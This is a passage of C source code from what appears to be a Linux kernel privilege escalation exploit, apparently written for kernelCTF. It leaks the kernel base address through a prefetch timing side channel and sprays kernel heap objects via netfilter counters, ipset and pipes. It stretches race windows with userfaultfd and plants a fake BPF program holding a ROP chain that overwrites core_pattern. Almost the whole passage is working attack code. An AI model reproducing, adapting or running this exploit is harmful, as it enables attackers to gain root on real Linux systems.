"lfence\n\t"
: "=r"(d), "=r"(a)
:
: "%rax", "%rbx", "%rcx", "%rdx");
return (d << 32) | a;
}
static inline __attribute__((always_inline)) uint64_t rdtsc_end(void) {
uint64_t a, d;
asm volatile("xor %%rax, %%rax\n\t"
"lfence\n\t"
"rdtscp\n\t"
"mov %%rdx, %0\n\t"
"mov %%rax, %1\n\t"
"mfence\n\t"
: "=r"(d), "=r"(a)
:
: "%rax", "%rbx", "%rcx", "%rdx");
return (d << 32) | a;
}
static inline void prefetch_addr(void *addr) {
asm volatile("prefetchnta (%0)\n\t"
"prefetcht2 (%0)\n\t"
:
: "r"(addr));
}
static size_t prefetch_time(void *addr) {
size_t start = rdtsc_begin();
prefetch_addr(addr);
return rdtsc_end() - start;
}
static uint64_t leak_kernel_base(void) {
for (;;) {
uint64_t votes[KASLR_NUM_VOTES] = {0};
uint64_t base = 0;
int count = 0;
for (int vote = 0; vote < KASLR_NUM_VOTES; vote++) {
size_t best_time = ~0UL;
uint64_t best_addr = KTEXT_NOKASLR;
for (int idx = 0; idx < KASLR_SCAN_ENTRIES; idx++) {
uint64_t addr = KASLR_SCAN_START + KASLR_SCAN_STEP * (uint64_t)idx;
size_t min_time = ~0UL;
for (int sample = 0; sample < KASLR_SAMPLES_PER_ADDR; sample++) {
size_t t = prefetch_time((void *)addr);
if (t < min_time)
min_time = t;
}
if (min_time < best_time) {
best_time = min_time;
best_addr = addr;
}
}
votes[vote] = best_addr;
}
for (int i = 0; i < KASLR_NUM_VOTES; i++) {
if (count == 0) {
base = votes[i];
count = 1;
} else if (base == votes[i]) {
count++;
} else {
count--;
}
}
count = 0;
for (int i = 0; i < KASLR_NUM_VOTES; i++) {
if (votes[i] == base)
count++;
}
if (count > KASLR_NUM_VOTES / 2) {
printf("kaslr_leak=0x%llx votes=%d/%d\n", (unsigned long long)base, count,
KASLR_NUM_VOTES);
return base;
}
}
}
#endif
static void perf_irq_handler(int sig) {
(void)sig;
atomic_fetch_add(&perf_irq_signal, 1);
}
static void setup_perf_irq_source(void) {
#if PERF_IRQ
struct perf_event_attr attr;
struct sigaction sa;
int fd;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = perf_irq_handler;
sigemptyset(&sa.sa_mask);
sigaction(SIGUSR1, &sa, NULL);
memset(&attr, 0, sizeof(attr));
attr.type = PERF_TYPE_SOFTWARE;
attr.size = sizeof(attr);
attr.config = PERF_COUNT_SW_CPU_CLOCK;
attr.sample_period = PERF_IRQ_PERIOD;
attr.disabled = 1;
attr.exclude_hv = 1;
attr.wakeup_events = 1;
fd = syscall(__NR_perf_event_open, &attr, 0, -1, -1, 0);
if (fd < 0) {
atomic_fetch_add(&perf_irq_fail, 1);
return;
}
(void)fcntl(fd, F_SETOWN, (int)syscall(SYS_gettid));
(void)fcntl(fd, F_SETSIG, SIGUSR1);
(void)fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_ASYNC);
(void)ioctl(fd, PERF_EVENT_IOC_RESET, 0);
(void)ioctl(fd, PERF_EVENT_IOC_ENABLE, 0);
atomic_fetch_add(&perf_irq_ok, 1);
#endif
}
static void thread_timer_irq_handler(int sig) {
(void)sig;
atomic_fetch_add(&thread_timer_signal, 1);
}
static void setup_thread_timer_irq_source(void) {
#if THREAD_TIMER_IRQ
static atomic_int handler_installed;
struct itimerspec its;
struct sigevent sev;
struct sigaction sa;
timer_t timerid;
long tid;
if (!atomic_exchange(&handler_installed, 1)) {
memset(&sa, 0, sizeof(sa));
sa.sa_handler = thread_timer_irq_handler;
sa.sa_flags = SA_RESTART;
sigemptyset(&sa.sa_mask);
sigaction(THREAD_TIMER_SIGNAL, &sa, NULL);
}
tid = syscall(SYS_gettid);
memset(&sev, 0, sizeof(sev));
sev.sigev_notify = SIGEV_THREAD_ID;
sev.sigev_signo = THREAD_TIMER_SIGNAL;
sev._sigev_un._tid = tid;
if (timer_create(CLOCK_MONOTONIC, &sev, &timerid) != 0) {
atomic_fetch_add(&thread_timer_irq_fail, 1);
return;
}
memset(&its, 0, sizeof(its));
its.it_value.tv_sec = THREAD_TIMER_IRQ_NS / 1000000000UL;
its.it_value.tv_nsec = THREAD_TIMER_IRQ_NS % 1000000000UL;
its.it_interval = its.it_value;
if (!its.it_value.tv_sec && !its.it_value.tv_nsec)
its.it_value.tv_nsec = its.it_interval.tv_nsec = 1;
if (timer_settime(timerid, 0, &its, NULL) != 0) {
atomic_fetch_add(&thread_timer_irq_fail, 1);
timer_delete(timerid);
return;
}
atomic_fetch_add(&thread_timer_irq_ok, 1);
#endif
}
static void timerfd_epoll_child(int fd, int ready_fd) {
#if TIMERFD_IRQ
int timefds[TIMERFD_EPOLL_DUPS];
int epfds[TIMERFD_EPOLL_FDS];
struct epoll_event ev;
char c = 'T';
prctl(PR_SET_PDEATHSIG, SIGKILL);
pin_cpu(TIMERFD_PIN_CPU);
memset(&ev, 0, sizeof(ev));
ev.events = EPOLLIN;
for (int i = 0; i < TIMERFD_EPOLL_DUPS; i++) {
timefds[i] = dup(fd);
if (timefds[i] < 0)
_exit(1);
}
for (int i = 0; i < TIMERFD_EPOLL_FDS; i++) {
epfds[i] = epoll_create1(EPOLL_CLOEXEC);
if (epfds[i] < 0)
_exit(1);
}
for (int i = 0; i < TIMERFD_EPOLL_FDS; i++) {
for (int j = 0; j < TIMERFD_EPOLL_DUPS; j++) {
ev.data.u64 = ((uint64_t)i << 32) | (uint32_t)j;
(void)epoll_ctl(epfds[i], EPOLL_CTL_ADD, timefds[j], &ev);
}
}
(void)write(ready_fd, &c, 1);
for (;;)
pause();
#else
(void)fd;
(void)ready_fd;
#endif
}
static int setup_timerfd_epoll_irq(void) {
#if TIMERFD_IRQ
int ready[2];
char c;
timerfd_irq_fd = timerfd_create(CLOCK_MONOTONIC, TFD_CLOEXEC | TFD_NONBLOCK);
if (timerfd_irq_fd < 0) {
atomic_fetch_add(&timerfd_irq_fail, 1);
return -1;
}
if (pipe(ready) != 0) {
atomic_fetch_add(&timerfd_irq_fail, 1);
return -1;
}
for (int i = 0; i < TIMERFD_EPOLL_CHILDREN; i++) {
pid_t pid = fork();
if (pid < 0) {
atomic_fetch_add(&timerfd_irq_fail, 1);
continue;
}
if (pid == 0) {
close(ready[0]);
timerfd_epoll_child(timerfd_irq_fd, ready[1]);
_exit(0);
}
timerfd_irq_pids[i] = pid;
}
close(ready[1]);
for (int i = 0; i < TIMERFD_EPOLL_CHILDREN; i++) {
if (read(ready[0], &c, 1) != 1)
atomic_fetch_add(&timerfd_irq_fail, 1);
}
close(ready[0]);
return 0;
#else
return 0;
#endif
}
static void *timerfd_irq_loop(void *arg) {
#if TIMERFD_IRQ
struct itimerspec its;
uint64_t expirations;
(void)arg;
pin_cpu(TIMERFD_PIN_CPU);
if (timerfd_irq_fd < 0) {
atomic_fetch_add(&timerfd_irq_fail, 1);
return NULL;
}
memset(&its, 0, sizeof(its));
its.it_value.tv_sec = TIMERFD_IRQ_NS / 1000000000UL;
its.it_value.tv_nsec = TIMERFD_IRQ_NS % 1000000000UL;
its.it_interval = its.it_value;
if (!its.it_value.tv_sec && !its.it_value.tv_nsec)
its.it_value.tv_nsec = its.it_interval.tv_nsec = 1;
if (timerfd_settime(timerfd_irq_fd, 0, &its, NULL) != 0) {
atomic_fetch_add(&timerfd_irq_fail, 1);
return NULL;
}
atomic_fetch_add(&timerfd_irq_ok, 1);
while (!atomic_load(&stop_flag)) {
if (read(timerfd_irq_fd, &expirations, sizeof(expirations)) ==
(ssize_t)sizeof(expirations))
atomic_fetch_add(&timerfd_irq_expirations, expirations);
else
sched_yield();
}
memset(&its, 0, sizeof(its));
(void)timerfd_settime(timerfd_irq_fd, 0, &its, NULL);
#else
(void)arg;
#endif
return NULL;
}
static void stop_timerfd_epoll_irq(void) {
#if TIMERFD_IRQ
for (int i = 0; i < TIMERFD_EPOLL_CHILDREN; i++)
if (timerfd_irq_pids[i] > 0)
kill(timerfd_irq_pids[i], SIGKILL);
for (int i = 0; i < TIMERFD_EPOLL_CHILDREN; i++)
if (timerfd_irq_pids[i] > 0)
waitpid(timerfd_irq_pids[i], NULL, 0);
if (timerfd_irq_fd >= 0) {
close(timerfd_irq_fd);
timerfd_irq_fd = -1;
}
#endif
}
static int enable_bpf_stats(void) {
#if ENABLE_BPF_STATS
union bpf_attr attr;
int fd;
memset(&attr, 0, sizeof(attr));
attr.enable_stats.type = BPF_STATS_RUN_TIME;
errno = 0;
fd = syscall(__NR_bpf, BPF_ENABLE_STATS, &attr, sizeof(attr));
bpf_stats_errno = fd >= 0 ? 0 : errno;
if (fd >= 0)
bpf_stats_fd = fd;
return fd;
#else
bpf_stats_errno = 0;
return -1;
#endif
}
static int write_file(const char *path, const char *s) {
int fd = open(path, O_WRONLY);
if (fd < 0)
return -1;
if (write(fd, s, strlen(s)) != (ssize_t)strlen(s)) {
close(fd);
return -1;
}
close(fd);
return 0;
}
static int load_reuseport_ebpf(unsigned ret_idx) {
#if USE_EBPF_REUSEPORT || DYNAMIC_EBPF_REUSEPORT
struct bpf_insn *insns;
char license[] = "GPL";
char log_buf[8192];
union bpf_attr attr;
int fd;
if (EBPF_LEN < 2)
die("bad EBPF_LEN");
insns = calloc(EBPF_LEN, sizeof(*insns));
if (!insns)
die("calloc ebpf insns");
for (unsigned i = 0; i < EBPF_LEN - 1; i++) {
insns[i].code = BPF_ALU64 | BPF_MOV | BPF_K;
insns[i].dst_reg = BPF_REG_0;
insns[i].imm = ret_idx & 1;
}
insns[EBPF_LEN - 1].code = BPF_JMP | BPF_EXIT;
memset(&attr, 0, sizeof(attr));
memset(log_buf, 0, sizeof(log_buf));
attr.prog_type = BPF_PROG_TYPE_SK_REUSEPORT;
attr.expected_attach_type = BPF_SK_REUSEPORT_SELECT;
attr.insn_cnt = EBPF_LEN;
attr.insns = (uint64_t)(uintptr_t)insns;
attr.license = (uint64_t)(uintptr_t)license;
attr.log_buf = 0;
attr.log_size = 0;
attr.log_level = 0;
fd = syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
if (fd < 0)
fprintf(stderr, "BPF_PROG_LOAD sk_reuseport failed errno=%d\n%s\n", errno,
log_buf);
free(insns);
return fd;
#else
(void)ret_idx;
return -1;
#endif
}
static void setup_ebpf_reuseport_progs(void) {
#if USE_EBPF_REUSEPORT
eprog0 = load_reuseport_ebpf(0);
eprog1 = load_reuseport_ebpf(1);
if (eprog0 < 0 || eprog1 < 0)
die("load sk_reuseport ebpf");
printf("ebpf_reuseport=on fd0=%d fd1=%d\n", eprog0, eprog1);
#else
printf("ebpf_reuseport=%s\n", DYNAMIC_EBPF_REUSEPORT ? "dynamic" : "off");
#endif
}
static void enter_spray_namespaces(void) {
#if NO_USERNS
return;
#else
char map[128];
if (!spray_needs_namespace)
return;
if (unshare(CLONE_NEWUSER) != 0)
die("unshare user");
write_file("/proc/self/setgroups", "deny\n");
snprintf(map, sizeof(map), "0 %d 1\n", getuid());
write_file("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %d 1\n", getgid());
write_file("/proc/self/gid_map", map);
if (unshare(CLONE_NEWNET) != 0)
die("unshare net");
#endif
}
static int bring_lo_up(void) {
struct ifreq ifr;
int fd;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
return -1;
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, "lo");
if (ioctl(fd, SIOCGIFFLAGS, &ifr) != 0) {
close(fd);
return -1;
}
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) != 0) {
close(fd);
return -1;
}
close(fd);
return 0;
}
static int enter_target_namespaces(void) {
#if NO_USERNS
return -1;
#else
char map[128];
if (unshare(CLONE_NEWUSER) != 0)
return -1;
write_file("/proc/self/setgroups", "deny\n");
snprintf(map, sizeof(map), "0 %d 1\n", getuid());
write_file("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %d 1\n", getgid());
write_file("/proc/self/gid_map", map);
if (unshare(CLONE_NEWNET) != 0)
return -1;
if (bring_lo_up() != 0)
return -1;
spray_needs_namespace = 0;
return 0;
#endif
}
static int open_packet_tap(void) {
struct sockaddr_ll sll;
struct ifreq ifr;
int ctl, fd;
int rcv = 1 << 20;
fd = socket(AF_PACKET, SOCK_RAW | SOCK_NONBLOCK, htons(ETH_P_ALL));
if (fd < 0)
return -1;
setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &rcv, sizeof(rcv));
ctl = socket(AF_INET, SOCK_DGRAM, 0);
if (ctl < 0) {
close(fd);
return -1;
}
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, "lo");
if (ioctl(ctl, SIOCGIFINDEX, &ifr) != 0) {
close(ctl);
close(fd);
return -1;
}
close(ctl);
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = ifr.ifr_ifindex;
if (bind(fd, (void *)&sll, sizeof(sll)) != 0) {
close(fd);
return -1;
}
return fd;
}
static void build_prog(struct sock_fprog *p, unsigned ret_idx, unsigned seed) {
struct sock_filter *f = calloc(CBPF_LEN, sizeof(*f));
(void)seed;
if (!f)
die("calloc prog");
#if EARLY_RET_FILTER
#if FIRST_RET_FILTER
f[0] = (struct sock_filter){BPF_RET | BPF_K, 0, 0, ret_idx & 1};
for (unsigned i = 1; i < CBPF_LEN - 1; i++)
f[i] = (struct sock_filter){BPF_LD | BPF_W | BPF_ABS, 0, 0, 0};
f[CBPF_LEN - 1] = (struct sock_filter){BPF_RET | BPF_K, 0, 0, ret_idx & 1};
#else
/*
* Keep the allocation large, but make runtime short. Long MOD chains
* tend to lose by executing inside JIT text after bpf_jit_free() has
* invalidated it to INT3; for a visible bpf_func marker we want the
* stale RX path to reach the indirect call load instead.
*/
for (unsigned i = 0; i < CBPF_LEN; i++)
f[i] = (struct sock_filter){BPF_RET | BPF_K, 0, 0, ret_idx & 1};
#endif
#else
f[0] = (struct sock_filter){BPF_LD | BPF_W | BPF_ABS, 0, 0, 0};
for (unsigned i = 1; i < CBPF_LEN - 1; i++) {
unsigned k = 3 + ((seed + i) % 251);
f[i] = (struct sock_filter){BPF_ALU | BPF_MOD | BPF_K, 0, 0, k};
}
f[CBPF_LEN - 1] = (struct sock_filter){BPF_RET | BPF_K, 0, 0, ret_idx & 1};
#endif
p->len = CBPF_LEN;
p->filter = f;
}
static void build_ret_prog_len(struct sock_fprog *p, unsigned len,
unsigned ret_idx) {
struct sock_filter *f;
if (!len)
die("bad ret prog len");
f = calloc(len, sizeof(*f));
if (!f)
die("calloc purge prog");
for (unsigned i = 0; i < len; i++)
f[i] = (struct sock_filter){BPF_RET | BPF_K, 0, 0, ret_idx & 1};
p->len = len;
p->filter = f;
}
static int bind_reuseport_udp(uint16_t port) {
int fd = socket(AF_INET, SOCK_DGRAM, 0);
int one = 1;
int rcv = 1 << 16;
struct sockaddr_in a = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
.sin_port = htons(port),
};
if (fd < 0)
die("socket");
if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0)
die("SO_REUSEPORT");
setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &rcv, sizeof(rcv));
if (bind(fd, (void *)&a, sizeof(a)) < 0)
die("bind");
return fd;
}
static int bind_reuseport_tcp(uint16_t port) {
int fd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0);
int one = 1;
int rcv = 1 << 16;
struct sockaddr_in a = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
.sin_port = htons(port),
};
if (fd < 0)
die("socket tcp");
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
die("SO_REUSEADDR tcp");
if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0)
die("SO_REUSEPORT tcp");
setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &rcv, sizeof(rcv));
if (bind(fd, (void *)&a, sizeof(a)) < 0)
die("bind tcp");
if (listen(fd, 4096) < 0)
die("listen tcp");
return fd;
}
struct spray_req {
int uffd;
void *buf;
size_t total;
};
static void setup_uffd_fd(int *uffdp, void *fault_page) {
struct uffdio_api api = {.api = UFFD_API};
struct uffdio_register reg;
*uffdp = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (*uffdp < 0)
die("userfaultfd");
if (ioctl(*uffdp, UFFDIO_API, &api) != 0)
die("UFFDIO_API");
memset(®, 0, sizeof(reg));
reg.range.start = (unsigned long)fault_page;
reg.range.len = PAGE_SZ;
reg.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(*uffdp, UFFDIO_REGISTER, ®) != 0)
die("UFFDIO_REGISTER");
}
static void setup_uffd_wp_fd(int *uffdp, void *page) {
struct uffdio_api api = {.api = UFFD_API};
struct uffdio_register reg;
*uffdp = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (*uffdp < 0)
die("userfaultfd wp");
if (ioctl(*uffdp, UFFDIO_API, &api) != 0)
die("UFFDIO_API wp");
memset(®, 0, sizeof(reg));
reg.range.start = (unsigned long)page;
reg.range.len = PAGE_SZ;
reg.mode = UFFDIO_REGISTER_MODE_WP;
if (ioctl(*uffdp, UFFDIO_REGISTER, ®) != 0)
die("UFFDIO_REGISTER wp");
}
static void uffd_wp_set(int uffd, void *page, int enable) {
struct uffdio_writeprotect wp;
memset(&wp, 0, sizeof(wp));
wp.range.start = (unsigned long)page;
wp.range.len = PAGE_SZ;
wp.mode = enable ? UFFDIO_WRITEPROTECT_MODE_WP : 0;
if (ioctl(uffd, UFFDIO_WRITEPROTECT, &wp) != 0)
die("UFFDIO_WRITEPROTECT");
}
static void setup_uffd(struct spray_req *r, void *fault_page) {
setup_uffd_fd(&r->uffd, fault_page);
}
static size_t spray_user_len(size_t alloc_len) {
#if SPRAY_IPSET
return alloc_len;
#else
return sizeof(struct xt_counters_info) + alloc_len;
#endif
}
static void *spray_fault_page(char *buf, size_t fault_page_index) {
unsigned long addr;
#if SPRAY_IPSET
addr = (unsigned long)(buf + fault_page_index * PAGE_SZ);
#else
addr = (unsigned long)(buf + sizeof(struct xt_counters_info) +
fault_page_index * PAGE_SZ);
#endif
return (void *)(addr & ~(PAGE_SZ - 1));
}
static void fill_xt_counters_userbuf(char *buf, size_t alloc_len) {
uint64_t marker = HIJACK_VAL;
unsigned pages = alloc_len / PAGE_SZ;
memset(buf, 0x41, spray_user_len(alloc_len));
#if SPRAY_IPSET
*(unsigned int *)buf = IP_SET_OP_VERSION;
for (unsigned page = 0; page < pages; page++)
memcpy(buf + page * PAGE_SZ + 48, &marker, sizeof(marker));
#else
struct xt_counters_info *info = (struct xt_counters_info *)buf;
char *counters = buf + sizeof(*info);
memset(info, 0, sizeof(*info));
strcpy(info->name, "filter");
info->num_counters = alloc_len / sizeof(struct xt_counters);
#if FILL_MARKER_QWORDS
for (size_t off = 0; off + sizeof(marker) <= alloc_len; off += sizeof(marker))
memcpy(counters + off, &marker, sizeof(marker));
#endif
for (unsigned page = 0; page < pages; page++) {
char *fake = counters + page * PAGE_SZ;
uint32_t type = BPF_PROG_TYPE_SK_REUSEPORT;
fake[2] |= 0x08;
#if FAKE_SK_REUSEPORT_TYPE
memcpy(fake + 4, &type, sizeof(type));
#endif
memcpy(fake + 48, &marker, sizeof(marker));
}
#endif
}
static void run_xt_counters_spray(int fd, char *buf, size_t alloc_len) {
#if SPRAY_IPSET
socklen_t len = alloc_len;
getsockopt(fd, IPPROTO_IP, SO_IP_SET, buf, &len);
#else
setsockopt(fd, IPPROTO_IP, IPT_SO_SET_ADD_COUNTERS, buf,
spray_user_len(alloc_len));
#endif
}
static void setup_pipe_spray(void) {
#if PIPE_SPRAY
uint64_t marker = hijack_val;
uint16_t pages = 1;
uint32_t type = PIPE_FAKE_PROG_TYPE;
if (pipe_spray_inited)
return;
for (unsigned i = 0; i < PIPE_SLOTS; i++) {
pipe_slots[i].rfd = -1;
pipe_slots[i].wfd = -1;
}
pipe_spray_page = mmap(NULL, PAGE_SZ, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (pipe_spray_page == MAP_FAILED)
die("mmap pipe spray");
#if PIPE_FAKE_BPF_STRUCT
memset(pipe_spray_page, 0, PAGE_SZ);
#if PIPE_FILL_MARKER_QWORDS
for (size_t off = 0; off + sizeof(marker) <= PAGE_SZ; off += sizeof(marker))
memcpy(pipe_spray_page + off, &marker, sizeof(marker));
#endif
#if KCTF_CORE_PATTERN_PAYLOAD
{
uint64_t *q = (uint64_t *)pipe_spray_page;
uint64_t user_rip = (uint64_t)(uintptr_t)rop_landed;
uint64_t user_rsp = KCTF_USER_RET_STACK + KCTF_USER_RET_STACK_SIZE - 0x10;
size_t i;
memcpy(pipe_spray_page + 0, &pages, sizeof(pages));
pipe_spray_page[2] |= 0x08;
memcpy(pipe_spray_page + 4, &type, sizeof(type));
q[6] = marker; /* bpf_func */
/*
* Both the cBPF and BPF_PROG_TYPE_SK_REUSEPORT helper paths
* reach bpf_func with RSI=fake_prog+0x48. The RSI pivot enters
* the chain at qword 9.
*/
i = 9;
q[i++] = kaddr(POP_RDI_RET_NOKASLR);
q[i++] = core_pattern_addr;
q[i++] = kaddr(POP_RSI_RET_NOKASLR);
q[i++] = KCTF_CORE_CMD_ADDR;
q[i++] = kaddr(POP_RDX_RET_NOKASLR);
q[i++] = 0x20;
q[i++] = kaddr(COPY_FROM_USER_NOKASLR);
q[i++] = kaddr(KPTI_TRAMPOLINE_NOKASLR);
q[i++] = 0; /* r15 */
q[i++] = 0; /* r14 */
q[i++] = 0; /* r13 */
q[i++] = 0; /* r12 */
q[i++] = 0; /* rbp */
q[i++] = 0; /* rbx */
q[i++] = 0; /* r11 */
q[i++] = 0; /* r10 */
q[i++] = 0; /* r9 */
q[i++] = 0; /* r8 */
q[i++] = 0; /* rax */
q[i++] = 0; /* rcx */
q[i++] = 0; /* rdx */
q[i++] = 0; /* rsi */
q[i++] = 0; /* rdi */
q[i++] = 0; /* orig_ax */
q[i++] = user_rip;
q[i++] = user_cs;
q[i++] = user_rflags;
q[i++] = user_rsp;
q[i++] = user_ss;
}
#else
memcpy(pipe_spray_page + 0, &pages, sizeof(pages));
pipe_spray_page[2] |= 0x08;
memcpy(pipe_spray_page + 4, &type, sizeof(type));
#endif
memcpy(pipe_spray_page + 48, &marker, sizeof(marker));
/*
* Leave insnsi at NULL. The indirect call target is loaded from
* bpf_func first; for the hijack marker we want the fault on the call
* target, not from chasing a fake instruction pointer.
*/
#else
for (size_t off = 0; off + sizeof(marker) <= PAGE_SZ; off += sizeof(marker))
memcpy(pipe_spray_page + off, &marker, sizeof(marker));
#endif
pipe_spray_inited = 1;
#endif
}
static void close_pipe_slot(struct pipe_slot *slot) {
if (slot->rfd >= 0)
close(slot->rfd);
if (slot->wfd >= 0)
close(slot->wfd);
slot->rfd = -1;
slot->wfd = -1;
}
static void run_pipe_spray(unsigned pages) {
#if PIPE_SPRAY
setup_pipe_spray();
pthread_mutex_lock(&pipe_spray_lock);
for (unsigned i = 0; i < pages;) {
struct pipe_slot *slot;
int pfd[2];
unsigned want, wrote_pages = 0;
int pipe_size, pipe_pages;
ssize_t n;
if (PIPE_MAX_WRITES && atomic_load(&sync_sprays) >= PIPE_MAX_WRITES)
break;
want = pages - i;
if (want > PIPE_PAGES_PER_SLOT)
want = PIPE_PAGES_PER_SLOT;
if (PIPE_MAX_WRITES) {
unsigned done = atomic_load(&sync_sprays);
if (done + want > PIPE_MAX_WRITES)
want = PIPE_MAX_WRITES - done;
if (!want)
break;
}
slot = &pipe_slots[pipe_spray_next++ % PIPE_SLOTS];
close_pipe_slot(slot);
if (pipe2(pfd, O_CLOEXEC | O_NONBLOCK) != 0)
continue;
(void)fcntl(pfd[1], F_SETPIPE_SZ, (int)(want * (unsigned)PAGE_SZ));
pipe_size = fcntl(pfd[1], F_GETPIPE_SZ);
pipe_pages = pipe_size > 0 ? pipe_size / (int)PAGE_SZ : 1;
if (want > (unsigned)pipe_pages)
want = (unsigned)pipe_pages;
while (wrote_pages < want) {
n = write(pfd[1], pipe_spray_page, PAGE_SZ);
if (n != (ssize_t)PAGE_SZ)
break;
wrote_pages++;
}
if (!wrote_pages) {
close(pfd[0]);
close(pfd[1]);
continue;
}
slot->rfd = pfd[0];
slot->wfd = pfd[1];
atomic_fetch_add(&sync_sprays, wrote_pages);
i += wrote_pages;
}
pthread_mutex_unlock(&pipe_spray_lock);
#else
(void)pages;
#endif
}
struct xt_lock_ctx {
int uffd;
char *page;
};
static void *xt_lock_fault_handler(void *arg) {
struct xt_lock_ctx *ctx = arg;
struct pollfd pfd = {.fd = ctx->uffd, .events = POLLIN};
for (;;) {
struct uffd_msg msg;
ssize_t n;
if (poll(&pfd, 1, 100) <= 0) {
if (atomic_load(&stop_flag))
return NULL;
continue;
}
n = read(ctx->uffd, &msg, sizeof(msg));
if (n != sizeof(msg))
continue;
if (msg.event != UFFD_EVENT_PAGEFAULT)
continue;
atomic_store(&xt_lock_active, 1);
atomic_fetch_add(&xt_lock_faults, 1);
if (XT_LOCK_HOLD_US)
usleep(XT_LOCK_HOLD_US);
uffd_wp_set(ctx->uffd, ctx->page, 0);
atomic_store(&xt_lock_active, 0);
}
}
static void *xt_lock_holder_loop(void *arg) {
static struct xt_lock_ctx ctx;
pthread_t th;
(void)arg;
pin_cpu(0);
ctx.page = mmap(NULL, PAGE_SZ, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (ctx.page == MAP_FAILED)
die("mmap xt lock page");
setup_uffd_wp_fd(&ctx.uffd, ctx.page);
if (pthread_create(&th, NULL, xt_lock_fault_handler, &ctx) != 0)
die("pthread xt lock handler");
pthread_detach(th);
while (!atomic_load(&stop_flag)) {
socklen_t len = sizeof(struct ipt_getinfo);
int ret;
memset(ctx.page, 0, PAGE_SZ);
strcpy(ctx.page, "filter");
uffd_wp_set(ctx.uffd, ctx.page, 1);
ret = getsockopt(xt_lock_fd, IPPROTO_IP, IPT_SO_GET_INFO, ctx.page, &len);
if (ret == 0)
atomic_fetch_add(&xt_lock_gets, 1);
else
atomic_fetch_add(&xt_lock_fails, 1);
}
return NULL;
}
static void setup_sync_spray(void) {
#if PIPE_SPRAY
return;
#endif
sync_spray_alloc = COUNTER_BYTES;
sync_spray_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (sync_spray_fd < 0)
return;
sync_spray_buf =
mmap(NULL, spray_user_len(sync_spray_alloc), PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (sync_spray_buf == MAP_FAILED) {
close(sync_spray_fd);
sync_spray_fd = -1;
sync_spray_buf = NULL;
return;
}
fill_xt_counters_userbuf(sync_spray_buf, sync_spray_alloc);
}
static void *ondemand_worker(void *arg) {
struct ondemand_job *j = arg;
if (ONDEMAND_PIN_CPU >= 0)
pin_cpu(ONDEMAND_PIN_CPU);
else
pin_cpu(j->id & 1);
for (;;) {
pthread_mutex_lock(&j->lock);
while (!j->go && !atomic_load(&stop_flag))
pthread_cond_wait(&j->cond, &j->lock);
if (atomic_load(&stop_flag)) {
pthread_mutex_unlock(&j->lock);
return NULL;
}
j->go = 0;
j->busy = 1;
pthread_mutex_unlock(&j->lock);
#if PIPE_SPRAY
run_pipe_spray(PIPE_WORKER_BATCH);
atomic_fetch_add(&ondemand_returned, 1);
pthread_mutex_lock(&j->lock);
j->busy = 0;
pthread_mutex_unlock(&j->lock);
continue;
#endif
if (ONDEMAND_DELAY_US)
usleep((j->id & (ONDEMAND_PER_ATTACH - 1)) * ONDEMAND_DELAY_US);
if (madvise(j->fault_page, PAGE_SZ, MADV_DONTNEED) != 0)
die("madvise ondemand recycle");
if (sync_spray_fd < 0)
die("ondemand socket");
run_xt_counters_spray(sync_spray_fd, j->buf, j->total);
atomic_fetch_add(&ondemand_returned, 1);
pthread_mutex_lock(&j->lock);
j->busy = 0;
pthread_mutex_unlock(&j->lock);
}
}
static void *ondemand_fault_handler(void *arg) {
struct ondemand_job *j = arg;
struct pollfd pfd = {.fd = j->uffd, .events = POLLIN};
for (;;) {
struct uffd_msg msg;
ssize_t n;
if (poll(&pfd, 1, 100) <= 0) {
if (atomic_load(&stop_flag))
return NULL;
continue;
}
n = read(j->uffd, &msg, sizeof(msg));
if (n != sizeof(msg))
continue;
if (msg.event != UFFD_EVENT_PAGEFAULT)
continue;
if (j == &inline_job) {
if (INLINE_HOLD_US)
usleep(INLINE_HOLD_US);
} else if (ONDEMAND_HOLD_US) {
usleep(ONDEMAND_HOLD_US);
}
{
struct uffdio_copy cp;
memset(&cp, 0, sizeof(cp));
cp.src = (unsigned long)uffd_release_page;
cp.dst = msg.arg.pagefault.address & ~(PAGE_SZ - 1);
cp.len = PAGE_SZ;
if (ioctl(j->uffd, UFFDIO_COPY, &cp) != 0 && !atomic_load(&stop_flag))
die("UFFDIO_COPY ondemand");
}
}
}
static void setup_inline_spray(void) {
#if INLINE_BLOCK_SPRAY
pthread_attr_t attr;
inline_job.id = 0x10000;
inline_job.total = COUNTER_BYTES;
pthread_mutex_init(&inline_job.lock, NULL);
pthread_cond_init(&inline_job.cond, NULL);
inline_job.buf =
mmap(NULL, spray_user_len(inline_job.total) + PAGE_SZ,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (inline_job.buf == MAP_FAILED)
die("mmap inline");
